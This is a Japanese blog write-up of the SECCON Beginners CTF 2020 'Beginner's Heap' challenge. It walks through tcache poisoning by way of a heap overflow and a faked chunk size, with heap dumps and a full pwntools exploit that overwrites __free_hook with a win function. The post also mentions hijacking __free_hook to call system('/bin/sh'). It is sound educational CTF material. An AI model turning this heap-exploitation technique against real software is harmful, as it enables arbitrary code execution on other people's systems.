SECCON Beginners CTF 2020 Beginner’s Heap を勉強した記録

SECCON Beginners CTF 2020 Beginner’s Heap
bof で tcache を捏造できますが，連続して malloc できないので，任意アドレスに malloc するには工夫が必要です。

問題入手先

https://bitbucket.org/ptr-yudai/writeups-2020/src/master/SECCON_Beginners_CTF_2020/beginners_stack/files/

# 動かしてみる

```
# ./heap
Let's learn heap overflow today
You have a chunk which is vulnerable to Heap Overflow (chunk A)

 A = malloc(0x18);

Also you can allocate and free a chunk which doesn't have overflow (chunk B)
You have the following important information:

 <__free_hook>: 0x7fa0712ee8e8
 <win>: 0x563bfd649465

Call <win> function and you'll get the flag.

1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
> 
```

英語ですね。
こういうの見てすぐに退散する連中にいつも叱咤激励しています。

## chunk A
すでに作成済みです。
ヒープメモリ空間は 0x10の倍数で作成されるので，A = malloc(0x18);ならば，0x20のチャンクが作成されているはずです。
書き込みができ，bofの脆弱性があります。
freeできません。

## chunk B
mallocとfreeができます
書き込みはmallocと同時です。
自由にmallocとfreeができるのはchunk Bだけです。
連続してmalloc(chunk Cの作成)はできません。

## __free_hook
free を行った時に，キックされる関数を設定できる。
よくあるパターンでは `__free_hook` のアドレスに system とかを設定する。
`__free_hook` で呼ばれる関数の引数は，free したチャンクにあるデータが使われる。
チャンクに "/bin/sh\00" を書き込み，`__free_hook` のアドレスに system のアドレスを書き込んで，"/bin/sh\00" を書き込んだチャンクを free するとと shell がとれる
この問題では `__free_hook` のアドレスは，事前にリークされている。

<__free_hook>: 0x7fa0712ee8e8

win関数のアドレスもリークされており，`__free_hook` にはwin関数のアドレスを書き込めばフラグがとれる仕組みのようです。

<win>: 0x563bfd649465

# 様子を見る

chunk B を malloc
chunk B を free
chunk A を bof して 元chunk B に `__free_hook` のアドレスを書く
この時点でtcacheに `__free_hook` のアドレスがつながるはず
chunk B を malloc

## 起動直後

```
-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
 [+] A = 0x55a4601cf330
 [+] B = (nil)

                   +--------------------+
0x000055a4601cf320 | 0x0000000000000000 |
                   +--------------------+
0x000055a4601cf328 | 0x0000000000000021 |
                   +--------------------+
0x000055a4601cf330 | 0x0000000000000000 | <-- A
                   +--------------------+
0x000055a4601cf338 | 0x0000000000000000 |
                   +--------------------+
0x000055a4601cf340 | 0x0000000000000000 |
                   +--------------------+
0x000055a4601cf348 | 0x0000000000020cc1 |
                   +--------------------+
0x000055a4601cf350 | 0x0000000000000000 |
                   +--------------------+
0x000055a4601cf358 | 0x0000000000000000 |
                   +--------------------+
0x000055a4601cf360 | 0x0000000000000000 |
                   +--------------------+
0x000055a4601cf368 | 0x0000000000000000 |
                   +--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
```

```
-=-=-=-=-= TCACHE -=-=-=-=-=
[    tcache (for 0x20)    ]
        ||
        \/
[      END OF TCACHE      ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=
```

## chunk B を malloc

```
-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
 [+] A = 0x55a4601cf330
 [+] B = 0x55a4601cf350

                   +--------------------+
0x000055a4601cf320 | 0x0000000000000000 |
                   +--------------------+
0x000055a4601cf328 | 0x0000000000000021 |
                   +--------------------+
0x000055a4601cf330 | 0x0000000000000000 | <-- A
                   +--------------------+
0x000055a4601cf338 | 0x0000000000000000 |
                   +--------------------+
0x000055a4601cf340 | 0x0000000000000000 |
                   +--------------------+
0x000055a4601cf348 | 0x0000000000000021 |
                   +--------------------+
0x000055a4601cf350 | 0x0000000000414141 | <-- B
                   +--------------------+
0x000055a4601cf358 | 0x0000000000000000 |
                   +--------------------+
0x000055a4601cf360 | 0x0000000000000000 |
                   +--------------------+
0x000055a4601cf368 | 0x0000000000020ca1 |
                   +--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
```

```
-=-=-=-=-= TCACHE -=-=-=-=-=
[    tcache (for 0x20)    ]
        ||
        \/
[      END OF TCACHE      ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=
```

## chunk B を free

```
-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
 [+] A = 0x55a4601cf330
 [+] B = (nil)

                   +--------------------+
0x000055a4601cf320 | 0x0000000000000000 |
                   +--------------------+
0x000055a4601cf328 | 0x0000000000000021 |
                   +--------------------+
0x000055a4601cf330 | 0x0000000000000000 | <-- A
                   +--------------------+
0x000055a4601cf338 | 0x0000000000000000 |
                   +--------------------+
0x000055a4601cf340 | 0x0000000000000000 |
                   +--------------------+
0x000055a4601cf348 | 0x0000000000000021 |
                   +--------------------+
0x000055a4601cf350 | 0x0000000000000000 | <-- 元 B
                   +--------------------+
0x000055a4601cf358 | 0x000055a4601cf010 |
                   +--------------------+
0x000055a4601cf360 | 0x0000000000000000 |
                   +--------------------+
0x000055a4601cf368 | 0x0000000000020ca1 |
                   +--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
```

元 chunk B の AAA が消えている
その下に何かできてる。何だろう？

```
-=-=-=-=-= TCACHE -=-=-=-=-=
[    tcache (for 0x20)    ]
        ||
        \/
[ 0x000055a4601cf350(rw-) ]
        ||
        \/
[      END OF TCACHE      ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=
```

tcache に 元 chunk B のアドレスがつながっている

## chunk A を bof

```
-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
 [+] A = 0x55a4601cf330
 [+] B = (nil)

                   +--------------------+
0x000055a4601cf320 | 0x0000000000000000 |
                   +--------------------+
0x000055a4601cf328 | 0x0000000000000021 |
                   +--------------------+
0x000055a4601cf330 | 0x4141414141414141 | <-- A
                   +--------------------+
0x000055a4601cf338 | 0x4141414141414141 |
                   +--------------------+
0x000055a4601cf340 | 0x4141414141414141 |
                   +--------------------+
0x000055a4601cf348 | 0x4141414141414141 |
                   +--------------------+
0x000055a4601cf350 | 0x00007ff3ff8b98e8 | <-- 元 B
                   +--------------------+
0x000055a4601cf358 | 0x000055a4601cf010 |
                   +--------------------+
0x000055a4601cf360 | 0x0000000000000000 |
                   +--------------------+
0x000055a4601cf368 | 0x0000000000020ca1 |
                   +--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
```

```
-=-=-=-=-= TCACHE -=-=-=-=-=
[    tcache (for 0x20)    ]
        ||
        \/
[ 0x000055a4601cf350(rw-) ]
        ||
        \/
[ 0x00007ff3ff8b98e8(rw-) ]
        ||
        \/
[      END OF TCACHE      ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=
```

■ここ重要

元 chunk B があった場所に `__free_hook` のアドレスを書いただけなのに tchche につながっている。
（tchcheの更新タイミングは free ではない）

■ここ重要

tcache に 0x000055a4601cf350 がつながっている状態で　0x000055a4601cf350の中身が 0x0000000000000000 の場合
tcache  -->  0x000055a4601cf350  -->  end

tcache に 0x000055a4601cf350 がつながっている状態で　0x000055a4601cf350の中身が 0x00007ff3ff8b98e8 の場合
tcache  -->  0x000055a4601cf350  -->  0x00007ff3ff8b98e8  -->  end

## chunk B を malloc

```
-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
 [+] A = 0x55e6a1e0d330
 [+] B = 0x55e6a1e0d350

                   +--------------------+
0x000055e6a1e0d320 | 0x0000000000000000 |
                   +--------------------+
0x000055e6a1e0d328 | 0x0000000000000021 |
                   +--------------------+
0x000055e6a1e0d330 | 0x4141414141414141 | <-- A
                   +--------------------+
0x000055e6a1e0d338 | 0x4141414141414141 |
                   +--------------------+
0x000055e6a1e0d340 | 0x4141414141414141 |
                   +--------------------+
0x000055e6a1e0d348 | 0x4141414141414141 |
                   +--------------------+
0x000055e6a1e0d350 | 0x00007f4d6e414141 | <-- B
                   +--------------------+
0x000055e6a1e0d358 | 0x0000000000000000 |
                   +--------------------+
0x000055e6a1e0d360 | 0x0000000000000000 |
                   +--------------------+
0x000055e6a1e0d368 | 0x0000000000020ca1 |
                   +--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
```

```
-=-=-=-=-= TCACHE -=-=-=-=-=
[    tcache (for 0x20)    ]
        ||
        \/
[ 0x00007ff3ff8b98e8(rw-) ]
        ||
        \/
[      END OF TCACHE      ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=
```

２回連続で malloc できれば，次は `__free_hook` のアドレス に malloc できて，好きに書き換えることが出来るのに！

問題の制約で，２回連続で malloc できない

# ヒントを見て答えを教えてもらう

## ヒント
What if you change the chunk size to a value other than 0x%02lx...?
とある。

chunc A の bof で chunc B のサイズを 0x30 とかに変更し，
chunc B を maiioc して free すると

tcache(for 0x20)  -->  0x000055a4601cf350  -->  0x00007ff3ff8b98e8  -->  end

とはならず，

tcache(for 0x30)  -->  0x000055a4601cf350  -->  end
tcache(for 0x20)  -->  0x00007ff3ff8b98e8  -->  end

となる。

次に B = maiioc(0x18) すると chunk B は，`__free_hook` のアドレス に作成され，`__free_hook` に win関数 を設定できる。


## 攻撃コード

```python:heap0.py
# coding: UTF-8

# バイナリの入手先
# https://bitbucket.org/ptr-yudai/writeups-2020/src/master/SECCON_Beginners_CTF_2020/beginners_heap/build/

# 作問者writeup [Pwn 293pts] Beginner's Heap (62 solves)
# https://ptr-yudai.hatenablog.com/entry/2020/05/24/174914

from pwn import *
import time

#io = Socket("bh.quals.beginners.seccon.jp", 9002)
io = process("./heap")

def write(data):
    ret = io.readuntil("> ")
    print(ret)
    io.send("1")
    time.sleep(0.5)
    io.send(data)

def malloc(data):
    ret = io.readuntil("> ")
    print(ret)
    io.send("2")
    time.sleep(0.5)
    io.send(data)

def free():
    ret = io.readuntil("> ")
    print(ret)
    io.send("3")

def debug(data):
    log.info("---------------------------------")
    log.info(data)
    log.info("---------------------------------")
    ret = io.readuntil("> ")
    print(ret)
    io.send("4")
    time.sleep(0.5)
    ret = io.readuntil("> ")
    print(ret)
    io.send("5")

# leak
io.recvuntil(": ")
addr_free_hook = int(io.recvline(), 16)
io.recvuntil(": ")
addr_win = int(io.recvline(), 16)
log.info("__free_hook = %s" % hex(addr_free_hook))
log.info("win = %s" % hex(addr_win))

debug("start")

malloc("AAA")
debug("malloc")
free()
debug("free")

#payload = b"A" * 0x20
payload = b"A" * 0x18
payload += p64(0x30)
payload += p64(addr_free_hook)
write(payload)
debug("write")

# get __free_hook
malloc("AAA")
debug("malloc")
free()
debug("free")


# overwrite __free_hook
debug("free")
malloc(p64(addr_win))
free()

io.interactive()
```

# 攻撃結果

## bof

```
-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
 [+] A = 0x559091471330
 [+] B = (nil)

                   +--------------------+
0x0000559091471320 | 0x0000000000000000 |
                   +--------------------+
0x0000559091471328 | 0x0000000000000021 |
                   +--------------------+
0x0000559091471330 | 0x4141414141414141 | <-- A
                   +--------------------+
0x0000559091471338 | 0x4141414141414141 |
                   +--------------------+
0x0000559091471340 | 0x4141414141414141 |
                   +--------------------+
0x0000559091471348 | 0x0000000000000030 |
                   +--------------------+
0x0000559091471350 | 0x00007ff3b09748e8 |
                   +--------------------+
0x0000559091471358 | 0x0000559091471010 |
                   +--------------------+
0x0000559091471360 | 0x0000000000000000 |
                   +--------------------+
0x0000559091471368 | 0x0000000000020ca1 |
                   +--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
```

```
-=-=-=-=-= TCACHE -=-=-=-=-=
[    tcache (for 0x20)    ]
        ||
        \/
[ 0x0000559091471350(rw-) ]
        ||
        \/
[ 0x00007ff3b09748e8(rw-) ]
        ||
        \/
[      END OF TCACHE      ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=
```

##  B = malloc(0x18)

```
-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
 [+] A = 0x559091471330
 [+] B = 0x559091471350

                   +--------------------+
0x0000559091471320 | 0x0000000000000000 |
                   +--------------------+
0x0000559091471328 | 0x0000000000000021 |
                   +--------------------+
0x0000559091471330 | 0x4141414141414141 | <-- A
                   +--------------------+
0x0000559091471338 | 0x4141414141414141 |
                   +--------------------+
0x0000559091471340 | 0x4141414141414141 |
                   +--------------------+
0x0000559091471348 | 0x0000000000000030 |
                   +--------------------+
0x0000559091471350 | 0x00007ff3b0414141 | <-- B
                   +--------------------+
0x0000559091471358 | 0x0000000000000000 |
                   +--------------------+
0x0000559091471360 | 0x0000000000000000 |
                   +--------------------+
0x0000559091471368 | 0x0000000000020ca1 |
                   +--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
```

```
-=-=-=-=-= TCACHE -=-=-=-=-=
[    tcache (for 0x20)    ]
        ||
        \/
[ 0x00007ff3b09748e8(rw-) ]
        ||
        \/
[      END OF TCACHE      ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=
```

tcache(for 0x20) の next は， `__free_hook` だ

## free(B)

```
-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
 [+] A = 0x559091471330
 [+] B = (nil)

                   +--------------------+
0x0000559091471320 | 0x0000000000000000 |
                   +--------------------+
0x0000559091471328 | 0x0000000000000021 |
                   +--------------------+
0x0000559091471330 | 0x4141414141414141 | <-- A
                   +--------------------+
0x0000559091471338 | 0x4141414141414141 |
                   +--------------------+
0x0000559091471340 | 0x4141414141414141 |
                   +--------------------+
0x0000559091471348 | 0x0000000000000030 |
                   +--------------------+
0x0000559091471350 | 0x0000000000000000 |
                   +--------------------+
0x0000559091471358 | 0x0000559091471010 |
                   +--------------------+
0x0000559091471360 | 0x0000000000000000 |
                   +--------------------+
0x0000559091471368 | 0x0000000000020ca1 |
                   +--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
```

```
-=-=-=-=-= TCACHE -=-=-=-=-=
[    tcache (for 0x20)    ]
        ||
        \/
[ 0x00007ff3b09748e8(rw-) ]
        ||
        \/
[      END OF TCACHE      ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=
```

元chunk B は　tcache (for 0x30)　につながったようです。

```
> Congratulations!
```

無事 win関数に飛びました。

# まとめ

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/71f31cbb-937d-a519-5fa8-e09e2f9e0d9b.png)

bof でサイズを変えても malloc の時には見ない。
tcache(for 0x20) の next を見て malloc するアドレスを決定する

free した時，どの tcache につなげるかの判断時にはサイズを見る